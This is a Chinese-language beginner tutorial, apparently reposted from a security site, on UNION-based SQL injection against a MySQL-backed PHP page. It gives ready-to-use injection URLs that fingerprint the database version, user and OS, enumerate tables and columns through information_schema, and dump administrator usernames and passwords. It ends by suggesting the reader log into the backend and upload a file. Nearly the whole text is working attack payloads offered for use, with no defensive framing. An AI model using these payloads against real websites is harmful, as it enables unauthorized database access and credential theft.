菜鸟也来学渗透——MySql暴库

来源:互联网 发布:银行存取款数据库设计 编辑:程序博客网 时间:2024/05/22 14:13

http://www.2cto.com/Article/201305/212036.html


暴库之前看看MySql这些版本的特性吧

4.0以下不支持union查询

4.0以上magic_quotes_gpc默认为on(magic_quotes_gpc=on
当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中所有的 ‘ (单引号), ” (双引号), \(反斜线) and 空字符会自动转为含有反斜线的转义字符。例如’会变成\’。给注入带来不少的阻碍。)

5.0以上可以暴表暴列,支持跨库

第一步:

注入漏洞利用,联合查询初探

http://localhost/list.php?id=600 order by 9 and 1=2 union select 1,2,3,4,5,6,7,8,9 页面有些地方已经显示出数字了吧,至于为什么一定要有个and 1=2 报错才能显示出这些数字,我自己想了一下,联合查询嘛,第一条查询出错,条件是and 1=2 没有符合条件的记录,所以第二条也就是union之后的查询结果就可以显示了。

第二步:

查询数据库版本等有价值的信息

http://localhost/list.php?id=600 order by 9 and 1=2 union select 1,version(),database(),4,user(),6,@@version_compile_os,8,9 看看页面哪些字段有显示,替换掉吧。 是不是已经出来了版本,数据库名,当前用户,操作系统呢? 如果知道数据库版本是5.0以上的,我们就要来进行暴表,暴列了。很快速的,不用猜的。

第三步:

暴表
and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=数据库名转换16进制。

不懂mysql语句,看看英文,随便猜一下什么意思吧。 information_schema这东西是MySql自带的,里面有很多表 ,table_schema字面意思就是表的集合,那么这句话连起来就是:从“表的集合”里面列出表名。。貌似我只会这样解释了 :(  详细的关于这个函数用法,我会给出地址的,大家参考一下即可 !

为了让表名直观的显示在页面上。结合第二步的联合查询语句进行构造:http://localhost/list.php?id=600 order by 9 and 1=2 union select 1,group_concat(table_name),database(),4,user(),6,@@version_compile_os,8,9  from information_schema.tables where table_schema=转换为十六进制后的数据库名     表名会乖乖的列出来的,相信科学吧。我不配图了。

第四步:

暴字段
and 1=2 union select group_concat(column_name) from information_schema.columns where table_name=表名转换16进制。同样要让结果显示在页面。构造语句:http://localhost/list.php?id=600 order by 9 and 1=2 union select 1,group_concat(column_name),database(),4,user(),6,@@version_compile_os,8,9  from information_schema.columns where table_name=转换16进制的表名

第五步:

暴字段内容
union select 1,group_concat(username,0x3a,password),3,4,5 from 表名

执行语句:http://localhost/list.php?id=600 order by 9 and 1=2 union select 1,group_concat(username,0x3a,password),database(),4,user(),6,@@version_compile_os,8,9  from 表名

结局:

到现在,我想大家经过努力,一定得到了管理员的用户名密码,然后就是找到后台,登陆进去,找地方传个什么东西了呗。

后记:

本文用到的一些知识要点:

1. MySQL中information_schema是什么: http://www.2cto.com/database/201305/212034.html

2.group_concat()函数总结:http://www.2cto.com/database/201305/212035.html


原创粉丝点击